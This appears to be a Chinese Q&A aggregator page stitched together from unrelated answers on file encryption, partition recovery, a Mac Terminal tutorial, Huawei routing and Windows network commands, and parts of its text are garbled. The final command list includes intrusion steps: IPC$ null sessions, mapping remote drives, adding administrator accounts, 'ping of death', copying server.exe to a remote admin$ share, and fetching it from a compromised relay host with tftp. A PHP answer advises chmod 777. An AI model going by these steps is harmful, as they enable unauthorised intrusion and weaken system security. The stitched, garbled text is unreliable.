當前位置:首頁 » 安全設置 » rmdir怎麼設置網路安全
擴展閱讀
騰訊動漫怎麼設置網路 2025-05-12 15:22:15

rmdir怎麼設置網路安全

發布時間: 2022-05-09 02:16:32

A. 請問怎麼樣給文件夾加密拜託了各位 謝謝

Win2000/XP提供了對文件夾加密的功能,當然我們就可以用它來保護文件了。在使用系統提供的加密功能前,你要確認你要加密的文件夾所在的分區格式為NTFS,因為只有在NTFS下才能使用這個功能。 (1)利用Windows 2000資源管理器選中待設置加密屬性的文件或文件夾。 (2)單擊滑鼠右鍵,選擇"屬性",啟動"Windows 2000屬性"對話框窗口。 (3)單擊"常規"選項卡中的[高級]按鈕,啟動"高級屬性"對話框。 (4)選擇"壓縮或加密屬性"框中的"加密內容以便保護數據"復選框,單擊[確定]按鈕,即可完成文件或文件夾的加密。這里推薦一種加密方法 就是先把自己的文件壓縮 然後再用WINRAR中的功能來加密1、Winzip Winzip是最流行的壓縮和解壓縮軟體,當然它也提供了非常簡單的加密功能。 首選新建一個空白的壓縮文件,在壓縮文件里添加需壓縮的文件。點擊「Option」菜單中的「Password....」命令,彈出密碼設置窗口,在文本框中輸入設置的密碼。當你輸入時,希望文本框的密碼不可見,請選上「Mask Password」復選框。 2、Winrar 現在Winrar大有取代Winzip之勢,因此學習Winrar加密的方法也是很有必要的。用Winrar加密可在圖形界面和命令行方式下進行。 <BR><BR> 在圖形界面下,你可以按下 Ctrl+P 或者在 文件菜單 選擇「密碼」命令,彈出「輸入默認密碼」對話框,輸入即可。 說明: A、如果「顯示密碼」選項被禁用,你將被要求輸入兩次密碼來確保正確性。 B、如果你設置了「加密文件名選項」,WinRAR 不只加密數據,而且加密象文件名、大小、屬性、注釋和其它數據塊等所有的壓縮包敏感區域,這樣它提供了更高的安全等級。在使用這個命令加密的壓縮包中,沒有密碼甚至連文件列表都不能查看。這個選項只有在把數據壓縮成 RAR 壓縮包時才有意義,在使用默認密碼解壓縮數據或壓縮成 ZIP 格式時,它將被忽略。 在命令行方式下,你可按以下格式操作: WinRAR <命令> -<參數1> -<參數N> <壓縮包> <文件...> <@列表文件...> <解壓縮路徑\> ‖無妻ゼ徒鉶 回答時間 2007-11-21 23:15 滿意答案 簡單講有三種方法:1、簡易加密法:將該文件夾屬性設為隱藏屬性,將系統設為不顯示隱藏文件。2、軟體法:現在加密文件夾的軟體較多,比如——高強度加密文件夾為其一也。3、壓縮加密法:即是將需要加密的文件夾先進行壓縮,然後設置打開密碼。

B. 卸載360安全衛士後。就上不了網怎麼解決

1、打開注冊表(依次展開「hekylocalmachine」\「software」\「microsoft」\「windows」\
「currentversion」\「uninstall」,單擊其下的程序名,你會在右邊窗口的列表
中看到兩個選項,displayname表明了該程序的名稱,uninstall表明了該程序的卸載
路徑,對其進行卸載路徑進行修改或刪除即可。
2、你打開360safe這個文件夾然後找到一個360圖標右鍵點擊然後點擊發送到桌面快捷方式在新建一個快捷方式就行了何必刪掉呢你點擊開始-運行-cmd-進入命令操作界面—輸入rmdir加那個文件夾的路徑/s/q如果還不行進進入安全模式刪除夠詳細了把

C. php rmdir許可權問題

既然是linux.
你需要登陸該文件的創建人.
然後chmod 777 設置文件的許可權為777

你再刪除就OK了.

D. MATLAB錯誤使用了rmdir怎麼恢復

選擇Desktop -> Desktop layout -> Default ,可以恢復窗口布局。

原始設置即出廠設置,出廠設置即物品出廠時的默認狀態,如開始界面,待機方式,操作快捷鍵,定時提醒等功能恢復但不會刪除存儲的數據。

將設備或儀器的個性設置恢復到出廠的默認狀態,如開始界面,待機方式,操作快捷鍵,定時提醒等等恢復到出廠時的設置但不會刪除存儲的數據。

E. 我電腦E盤打不開怎麼辦啊

雙擊某個分區盤符後出現「無法訪問 X:。文件或目錄損壞且無法讀取。」的錯誤信息

如出現上述現象大多數是硬碟分區表損壞,導致硬碟的分區信息不能被系統正確讀取,就會出現像硬碟剛出廠時未被格式化的假象。如果你還想要硬碟內的數據文件時,此時請千萬不要對硬碟進行任何寫操作,和格式化。找個支持RAW格式的數據恢復工具吧。如R-Studio,可以幫你找回那些珍貴的數據。當然這個過程需要在另外一塊沒問題的硬碟中操作,故障硬碟掛為「從盤」。以下是在網上找的一些其它解決方法,有些多半是許可權問題的軟故障。

硬碟分區格式為RAW怎麼修復
作者:yufeins 發布日期:06-12-25
我的電腦為雙硬碟,主盤為160G,從盤為20G,1盤為兩個分區,2盤分4個分區,所有的分區文件格式為NTFS,裡面裝的是從網上下載下來的軟體,歌曲,電影,MTV。後來不知道什麼時候也不知道是怎麼回事,從盤裡面有三個分區無法打開,顯示為「無法訪問,文件或目錄損壞且無法讀取。」右鍵屬性發現文件系統格式為RAW,空間為0。
我想知道怎麼能恢復數據,這些數據都是我辛辛苦苦積累起來的,很捨不得格式化.
我從網上也搜索了一下,大多就下面幾個方案:
解決方案1:系統許可權的問題1(原系統是NTFS格式出現問題)

在RAW格式盤符上點右鍵,選「屬性」,再選「安全」,將無用的用戶刪除,添加自己的用戶名,再改一下許可權即可。若無安全選項,可以在文件夾選項(打開「我的電腦」—選「工具」菜單—再選「文件夾」選項)中,去掉「使用簡單文件共享」前的勾,即可在NTFS格式的盤中點右鍵,屬性菜單中顯示安全選項。

解決方案2:系統許可權的問題2(原系統是NTFS格式出現問題)

進「控制面板」找到「管理工具」,將其打開,在將「本地安全策略」打開,在將「安全選項」打開,在右面窗口找到「網路訪問:本地帳戶的共享和安全模式」後的「僅來賓」改為「經典」,退出回到我的電腦,在變成RAW的盤上點右鍵找「安全」標簽,將其亂碼刪掉,然後添加本計算機的用戶即可。

解決方案3:修改盤符的方法

把RAW的盤符改一下,如果是C、D、E、F,F是RAW盤符,就把F改成E,就可以恢復了。

解決方案4:利用EasyRecovery軟體

但是我前面三個我都沒成功,第二個方案裡面的始終都找不到那個「安全」標簽。
第四個方案我沒試過,因為EasyRecovery我從來都沒用成功過,呵呵。

哈哈
我終於弄出來了,我再網上看見了這樣的問題不少,希望能和大家分享
R-STUDIO
下載地址:
[wx.onlinedown.net]
至於怎麼用,自己去捉摸吧,畢竟不是很難的東西。

軟體的簡介:
R-Studio 是功能超強的數據恢復、反刪除工具,採用全新恢復
技術,為使用 FAT12/16/32、NTFS、NTFS5(Windows 2000系統)
和 Ext2FS(Linux系統)分區的磁碟提供完整數據維護解決方案!
同時提供對本地和網路磁碟的支持,此外大量參數設置讓高級用
戶獲得最佳恢復效果。具體功能有:採用 Windows資源管理器操
作界面;通過網路恢復遠程數據(遠程計算機可運行Win95/98/ME
/NT/2000/XP、Linux、UNIX 系統);支持 FAT12/16/32、NTFS、
NTFS5 和 Ext2FS文件系統;能夠重建損毀的RAID陣列;為磁碟、
分區、目錄生成鏡像文件;恢復刪除分區上的文件、加密文件(
NTFS 5)、數據流(NTFS、NTFS 5);恢復FDISK或其它磁碟工具刪
除過得數據、病毒破壞的數據、MBR 破壞後的數據;識別特定文
件名;把數據保存到任何磁碟;瀏覽、編輯文件或磁碟內容等等。

--------------------------------------------------------
硬碟分區變成RAW格式的解決辦法
今天重裝系統之後我的F:盤突然變成了RAW模式,雙擊不能打開,提示錯誤。要知道裡面全是我的個人資料和下載的一些學習資料,要是就這么沒了,幾年的積累就白費了。無奈之下上網查資料,問高人。經過一番努力之後終於找到了解決辦法,現寫出來以幫助以後出現同樣故障的朋友。
第一步:首先進入「控制面板」並切換到經典視圖,找到「管理工具」,雙擊打開,再雙擊打開「本地安全策略」,單擊「本地策略」前面的加號,再單擊「安全選項」,在右面窗口中找到「網路訪問:本地帳戶的共享和安全模式」項,然後將其後面的安全設置「僅來賓-本地用戶以來賓身份認證」改為「經典-本地用戶以自己的身份認證」。
第二步:打開「我的電腦」,在RAW格式的分區上點右鍵,單擊屬性,在彈出的屬性對話框中找「安全」標簽,將「組或用戶名稱:」列表框中的亂碼刪掉,然後添加本機的用戶即可。
提示:如果右擊分區,在彈出的屬性對話框中沒有「安全」標簽的話,可打開「我的電腦」,依次點擊「工具」-「文件夾選項」-「查看」,將「使用簡單文件共享(推薦)」前面的對勾取消即可。

PartitionMagic的問題,事關人命,在線等

RAW是什麼文件系統啊?
我用PartitionMagic(就是去年12期雜志介紹的可以不丟失文件重調分區大小的那個軟體)重新調整了兩個硬碟分區,結果這兩個的文件系統就變成了Raw,windows下無法打開,但通過PartitionMagic檢查可見這兩個分區的文件並未丟失,我該怎麼辦啊?!
或者哪位大蝦教教我怎樣在windows下或活dos下不格式化重新轉換文件系統
在線等,多謝

你遇到了一個非常經典的問題,RAW是沒有分區的意思,暫時沒有辦法完美恢復,不過可以用EasyRecovery救回大多數文件。

GOOGLE上搜索的,未經實驗,慎用

方法一(保留數據法):
你可以這樣試一下:進"控制面板"找到"管理工具",將其打開,在將"本地安全策略"打開,在將"安全選項"打開,在右面窗口找到"網路訪問:本地帳戶的共享和安全模式"後的"僅來賓"改為"經典",退出回到我的電腦,在D盤上點右鍵找"安全"標簽,將其亂碼刪掉,然後添加本計算機的用戶即可。

注意:本方法可能針對的也是以前是NTFS格式分區的。與方法三大致雷同。
方法二(無法保留數據):
使用控制面板——管理工具——計算機管理——磁碟管理
刪除,重新建立分區即可
方法三(可以保留數據,原來分區格式為NTFS格式):
單擊"工具"--"文件夾選項"-把"使用簡單文件共享"的勾去掉,RAW格式的分區(原先是NTFS分區格式)就有"安全選項"了,然後重新設置一下許可權,就OK了。
方法四(理論上應該可以保留數據,未經過測驗):
用DM分區軟體看一下有沒有分區表錯誤,或者用PQ軟體把分區恢復為FAT32或者NTFS格式。
方法五(別人的方法可以保留數據。PS:感覺很麻煩):
具體方法如下:
1、使用EasyRecovery Pro 6.06,選擇數據恢復---》Advanced Recovery(選用高級選項自定義數據恢復功能);
2、選擇已變為RAW格式的盤符,點擊下角的高級選項;
3、在文件系統掃描中,文件系統選"NTFS",點高級掃描,選擇右下角的"高級選項",把簇大小和數據起始位置都設為0;
4、點擊分區設置,使用MFT方式(這點一定不能錯);然後確定;
5、點擊下一步,開始掃描文件系統,然後就是等~~~~~~~~~~~~~~~,要的時間比較長,要耐心。完成後就會發現找到了一個NTFS的盤符,再點擊找到的盤符,開始掃描;
6、掃描完成後你就會發現所有的文件都已找到,然後點擊恢復,選擇一個可用的盤來存你恢復的文件就行;
7、最後格式化出問題的盤~~~把恢復的文件拷回去~~~~~~OK 一切都完好如初。

還可以通過DISK MAN這個國產軟體的「重建分區表」功能重新找回分區。但是可能會有數據丟失。最好先做好分區表備分。

F. Win7中User文件夾怎樣移動到其他盤

1、首先雙擊此電腦,點本地磁碟c。

G. mac系統中文件夾操作設置怎麼用

MacOSXTerminal101:終端使用初級教程July29,2012 / 編程指南最近學習蘋果認證的《MacOSXSupportEssentials》教程,看到CommandLine一節有很多實用的知識,下面選取一部分翻譯+筆記,整理成此文。你可以整天駕駛汽車而不用知道如何修理它們,但是如果你希望當一個維護員,你就需要知道事情是如何運作的。同樣的事情也發生在了MacOSX上;你可以一直使用Mac而不用知道如何修理它,但是如果你想對系統做一些維護或解決一些問題,那麼你需要知道如何使用command-line。為什麼要使用命令行/如何開啟命令行?許多功能在圖形界面不提供,只有通過命令行來實現。Finder會隱藏許多你不太會需要的文件,然而commandline會允許你訪問所有文件。通過commandline可以遠程訪問你的Mac(利用SSH)。administrators用戶可以通過 sudo 命令獲得root用戶許可權。通過command-linescript可以使工作更高效。Terminal(終端)程序可以在「實用工具」里找到。如果你開啟手動輸入用戶名登陸模式,登陸時在用戶名處輸入 >console 可以直接進入命令行界面。隨後你仍然需要登錄到一個賬戶。初識CommandLine許多命令會花費一些時間來執行,然而這中間不會給出任何提示或者進度條。一般結束後會出現一個「用戶名$」的標記。如果沒有出現,那麼說明最後一條命令正在執行。一條命令包括CommandName、Options、Arguments、Extras四個部分,但是後三個部分有時是可選的。Options部分用-作為前導符。其中許多命令的Options部分只包含單個字母,這時可以合並。例如,ls-lA和ls-l-A是等效的。Arguments部分用來細化這個命令或指定這個命令具體的實施對象,Extras部分則用來進一步實現其他功能。舉例:下列命令包含前三個部分,用於刪除Junk這個程序。michelle$rm-R/Applications/Junk.app如果你輸入了一些錯誤的命令,系統會返回一些錯誤信息。但是系統卻不會阻止你做傻事(例如刪除整個用戶文件夾)。關於man命令雖然有上千條命令,每條命令還有許多可選參數和具體的使用方式,但是你卻不需要記住這些命令。你只需要記住一個:man大多數命令都會包含一個使用指南,會告訴你任何你需要知道的關於這個命令的所有細節,在命令行中輸入 mancommand-name 即可獲取。例如,你想知道ls這個命令怎麼使用,輸入manls即可進入使用指南頁面。使用指南往往很長,所以你可以使用▲(上箭頭)或▼(下箭頭)來上下移動,使用來翻頁,輸入/和關鍵字來按照關鍵字搜索,按Q來退出使用指南頁面。那麼——如果你連命令名稱都不知道怎麼呢?輸入man-k和關鍵字來對整個使用指南資料庫進行搜索。命令行,文件和路徑如果知道如何使用命令是掌握commandline的第一步,那麼第二步就是學習如何在commandline中使用文件路徑。如果你掌握了文件路徑,你將會發現這比使用Finder更加快捷。注意commandline工具是大小寫敏感的,並且對於文件名,必須包括擴展名。例如,你想找iTunes這個程序,輸入itunes是無效的,必須輸入iTunes.app。MacOS傳統上喜歡使用「文件夾」(folders)這個名稱,但是在commandline中,主要使用「目錄」(directory)這個詞。這和UNIX是一致的。兩種路徑:絕對路徑和相對路徑絕對路徑:完整描述一個文件的位置,總是以斜杠(/)(forwardslash)開頭。例如/Users/michelle/Public/DropBox。相對路徑:只描述一部分位置信息,它和你在commandline目前的目錄有關。當你打開新的Terminal程序時,commandline會話的目錄應該是你的homefolder。這時上面例子文件夾的相對路徑寫作Public/DropBox。顯然它從當前目錄開始。和html類似,你也可以使用兩個點(「..」)來代表父目錄,這樣你就可以用相對路徑表示上級或同級目錄了。例如你可以輸入cd..甚至cd../..切換到其他路徑和目錄如果你想將當前commandline會話切換到其他目錄,需要用到三個命令:pwd,ls和cd。pwd的含義是「printworkingdirectory」,會顯示當前目錄的絕對路徑。ls的含義是「listdirectorycontents」,它會列出當前目錄的內容。這個命令還有其他參數可選。cd的含義是「changedirectory」,它會改變當前目錄到你指定的目錄。如果你不指定,則會返回你的homefolder。處理特殊字元如果目錄中有特殊字元(空格,括弧,引號,[],!,$,&,*,;,|,\),那麼直接輸入空格會造成系統識別困難,必須使用特殊的語法來表示這些字元。例如上例中,空格前添加反斜杠「\」(backslash)即可:cdPunlic/Drop\Box/。除了反斜杠,也可以用引號的方法:cd"Public/DropBox"。——如果不想手動輸入,也可以把文件從Finder拖到Terminal窗口來創建絕對路徑,這會方便一些,因為上面提到的所有特殊字元在拖動後都會自動變成系統可識別的表示方法。其實,更有效率的解決方案是使用TabComplete功能。TabComplete是commandline中最能給你節省時間的特性之一,利用它的自動完成文件、目錄名稱功能還可以防止你輸入錯誤。使用cd進入你的homefolder,使用cdP命令,然後按下tab按鍵。你可能會聽到錯誤音,因為你的homefolder內有多個P開頭的文件夾。再按一次tab,Terminal將會為你列出P開頭的兩個文件夾:Public和Pictures。按U,再按tab,Terminal則會自動為你補全Public/。Tabcomplete同樣會處理那些特殊字元。注意,這會在末尾保留/符號,大部分時候這沒問題,但如果出錯,移除多餘的/試一試。另外,鄂化符~(tilde)在commandline中可以代表當前用戶的homefolder。例如~/Public/Drop\Box/是合法的。查看隱藏文件為了簡化工作,commandline和Finder都會隱藏許多文件和文件夾,這些內容通常是系統需要的。不藉助第三方工具讓Finder顯示隱藏文件比較困難,但是在commandline中卻非常簡單。首先,許多隱藏文件的隱藏是通過隱藏屬性在Finder中隱藏的,而commandline會忽略這些屬性,所以這些文件會在commandline中顯示。另外,ls命令會隱藏文件名以.開頭的文件,但是這些文件卻可以被顯示出來,方法是利用-a選項。例如:michelle$ls-la我們還添加了-l選項,目的是控制輸出格式。如果你注意輸出內容的話,會發現還包括.和..兩項,它們分別表示當前文件夾和父文件夾(如圖)。如果你不想顯示這兩項,只需要把-a改成-A即可。前往其他卷在commandline中,系統卷(也稱為rootvolume)是由開始的一個正斜杠表示的。然而也許聽起來不可思議,在commandline中其他卷看起來就在文件系統中一個叫做Volumes的文件夾中。下面的命令清晰地顯示出這種邏輯關系:我從我的homefolder出發,最終前往一個叫TimeMachine的卷,該卷是外接在Mac上的。bogon:~renfei$pwd/Users/renfeibogon:~renfei$cd/Volumes/bogon:Volumesrenfei$pwd/Volumesbogon:Volumesrenfei$:Volumesrenfei$cdTime\Machine/bogon:TimeMachinerenfei$pwd/Volumes/TimeMachine用Command-Line管理文件檢視文件有許多基礎命令用來定位、檢視文件和文件夾,包括cat, less, which, file以及find。別忘了,你可以利用man命令來查閱每個命令的使用指南。catcat是「concatenate」的意思,會按順序讀取文件並輸出到Terminal窗口,語法為cat後接你需要查看的文件的路徑。cat命令也可以用>>來增加文本文件的內容,例如命令cat../textOne.txt>>textTwo.txt會把textOne.txt的內容添加到textTwo.txt的結尾。這個>>就屬於上一篇提到的「Extras」。less這個命令更適合用來查看長文本文件,因為它會允許你查找文本。語法為 less後接文件路徑,和cat一樣。用less命令打開的文件其實和你查看命令使用指南的時候使用的是一個查看器,所以操作是相同的,同樣可以使用▲(上箭頭)或▼(下箭頭)來上下移動文本,使用來翻頁,輸入/和關鍵字來按照關鍵字搜索,按Q來退出使用指南頁面。除此之外,按V鍵來使用vi文本編輯器。which這個命令會定位某個命令的文件路徑。換言之,它會告訴你你執行某個具體命令的時候,在使用哪個文件。語法為which後接某個命令。如圖:file這個命令會嘗試根據文件的內容輸出文件類型。如果一個文件缺失了擴展名,那麼這個命令可能會非常有用。語法為file後接文件路徑。如圖,此例為一個PNG文件,還給出了它的尺寸、顏色數等信息。find這個命令用來根據搜索關鍵詞定位文件路徑。 find命令不使用Spotlight搜索服務,但是它允許你設置非常具體的搜索條件,以及通配符(稍後介紹)。語法為find後接搜索的起始路徑,後接定義搜索的選項,後接搜索內容(包含在引號里)。例如:注意如果你要搜索根目錄,也許你想使用-x選項來避免搜索/Volumes文件夾。如果想使用Soptlight搜索服務,使用mdfind命令後接搜索關鍵詞即可。使用通配符(WildcardCharacters)下面是常用的通配符:星號(*,Asterisk)——代表任何長度的任何字元。例如*.tiff代表所有格式為tiff的文件。問號(?,Questionmark)——代表任何單個字元。例如b?ok匹配book但是不匹配brook。方括弧([],Squarebrackets)——定義一定范圍的字元,例如[Dd]ocument匹配Document以及document;doc[1-9]匹配doc1,doc2,…,doc9。配合使用上面三種通配符可以大大提高效率。使用遞歸命令簡單來說,遞歸命令可以允許命令不執行於一個特定文件,而是指定的路徑下的所有文件。大多數命令包含一個-r或者-R選項,來設定你想遞歸地執行這個命令。例如下面的例子,展示了添加-R後ls命令的執行方式:編輯文件和文件夾有許多基礎的命令用來編輯文件和文件夾,包括mkdir, cp, mv, rm, rmdir以及vi。下面我們來簡要地介紹一下這些命令。mkdir「makediretory」的縮寫,用來創建文件夾,語法為mkdir後接新文件夾的目錄。可以用-p選項,來一起創建路徑中不存在的文件夾(這樣你就不用挨層創建了)。cp「」的縮寫,用來把文件從一處復制到另一處。語法為cp後接原始路徑,後接目標路徑。如果你想復制整個文件夾和所有內容,需要添加-R選項。如果指定的目標路徑不含文件名,則cp命令會按原名復制。如果指定的目標路徑包括文件名,則會復制為你指定的文件名。如果僅指定新文件名,則會在原處以新名稱創建文件副本。注意,系統會自動替換同名文件而不出現提示。mv「move」的縮寫,用來移動文件。語法為mv後接原路徑,後接新路徑。mv的指定路徑規則和cp是一樣的(沒錯,如果僅指定新文件名,它就成了重命名命令)。rm「remove」的縮寫,會永久刪除文件。注意,command-line中沒有廢紙簍。語法為rm後接文件路徑。然而,使用rm命令刪除的文件有可能可以通過數據恢復工具恢復。如果希望安全刪除文件,可以使用srm命令。rmdir和rm-Rrmdir是「removedirectory」的縮寫,這個命令會永久刪除文件夾。再強調一遍,CLI中木有廢紙簍。語法為rmdir後接希望刪除目錄的路徑。然而,rmdir命令無法刪除含有任何其他文件的文件夾,所以大多數情形下rmdir命令是不適用的。不過,你可以利用rm添加-R選項來刪除文件夾及包含的所有文件。vi代表「visual」(視覺的),然而這個名稱相當具有諷刺意味:vi可能是可視化效果最差的文本編輯器了。然而,vi是commandline中最常見的文本編輯器。用vi打開文本文件,只需要輸入vi後接文件路徑即可。MacOSX還提供了nano,一個更加現代的文本編輯器。它也更加方便,例如在底部包含了一個作弊小條(=_=),上面有常用的快捷鍵列表(你就不用背下來它們了)。然而,vi卻有時是默認的文本編輯器,所以掌握vi是很有用的。和less命令類似,vi命令會佔用整個Terminal空間來顯示文件內容。打開後,在「command模式」,vi會等你輸入一些預定義字元來告訴vi你想做什麼。你也可以使用鍵盤上的箭頭鍵單純地瀏覽文件。你想編輯時,按A開始(會進入編輯模式)。文字會插入到游標處。如果你想保存,需要先退出編輯模式進入command模式。方法是按下esc鍵。回到command模式後,按住shift同時按兩次Z來保存並退出。如果你不想保存,在command模式輸入:quit!並按enterreturn直接退出。用Command-Line管理系統使用su來切換用戶su命令代表「substituteuseridentity」,允許你在命令行中輕松切換到另一個用戶賬戶。語法為su後接用戶的短名稱。然後會要求你輸入密碼(但是輸入的時候不會顯示)。執行完畢後,命令的前綴會改變,表示你擁有其他用戶的權利。你可以利用who-m命令來驗證當前登陸的身份。切換後,你會一直保持該用戶身份,直至退出Terminal或者輸入exit命令。關於sudo的使用sudo概述更強大的命令就是sudo,代表「substituteuserdo」,或者,更恰當地,「superuserdo」。用sudo執行一個命令會使用root賬戶許可權。當然,使用之前需要administrator賬戶(管理員賬戶)的授權(如輸入密碼)。默認情況下,任何管理員賬戶都可以使用sudo來獲取root許可權,甚至當root賬戶在圖形界面被禁用的情況下,sudo依然有效。這個命令是很多情況下我們不得不使用Terminal的原因,——同樣也是給每個用戶管理員身份的危險所在。不過,你可以調整sudo的配置文件,來限制它的使用。bogon:~renfei$catsecret.txtcat:secret.txt:Permissiondeniedbogon:~renfei$sudocatsecret.txtPassword:Thisisthecontentsofthesecret.storead.However,,ile.提示:如果由於你忘了使用sudo而導致命令行返回一個錯誤,只需輸入sudo!!就可以用sudo來執行上一條指令。記住,權力越大責任越大。不恰當地使用sudo可以輕易破壞你的系統設置。命令行只會在你第一次執行嚴重破壞性行為之前提示你,之後,它就會假設你清楚自己正在干什麼。如果你只掌握三條使用命令行的准則,那將是:總是仔細檢查你的命令;總是使用Tabcompletion來幫助你避免拼寫錯誤;使用sudo之前,總是仔仔細細檢查你的命令。使用sudo切換Shell如果你是一個管理員用戶,你需要執行很多條需要root許可權的命令,你可以臨時切換整個命令行shell來取得root級別的訪問許可權。方法就是先輸入sudo-s,回車後再鍵入你的密碼。其他Command-Line技巧提示輸入命令open.可以用Finder打開當前的位置。在Terminal的偏好裡面可以設定它的外觀和風格。中止一個錯誤的或者發瘋的命令,可以使用組合鍵control + C。你可以在執行前編輯命令,只需要使用箭頭和鍵盤上的其他字母。沒有輸入任何命令時,你可以用▲和▼來瀏覽歷史命令。同樣可以編輯和再次執行。你也可以使用history命令查看歷史記錄。你可以使用組合鍵control + L清屏。

H. 華為靜態路由配置

全局模式下靜態路由配置如下:ip route-static 0.0.0.0 0.0.0.0 192.168.112.1。

建立一個新的valn 把埠0/0/10加入到該VLAN然後設置網關 下面以S5700為例:

sys。

vlan 10。

interface vlanif 10。

ip add 10.10.10.x 255.255.255.0。

quit。

ip route-static 0.0.0.0 0.0.0.0 192.168.112.1。

(8)rmdir怎麼設置網路安全擴展閱讀:

此時就需要管理員在R1和R2上分別配置靜態路由來使計算機A、B成功通信。

在R1上執行添加靜態路由的命令ip route 192.168.2.0 255.255.255.0 192.168.1.1。它的意思是告訴R1,如果有IP包想達到網段192.168.2.0/24,那麼請將此IP包發給192.168.1.1(即和R1的2號埠相連的對端)。

同時也要在R2上執行添加靜態路由的命令ip route 192.168.0.0 255.255.255.0 192.168.1.2。它的意思是告訴R2,如果有IP包想達到網段192.168.0.0/24,那麼請將此IP包發給192.168.1.2(即和R2的3號埠相連的對端)

I. 網路命令應用

net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

#2 二:

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
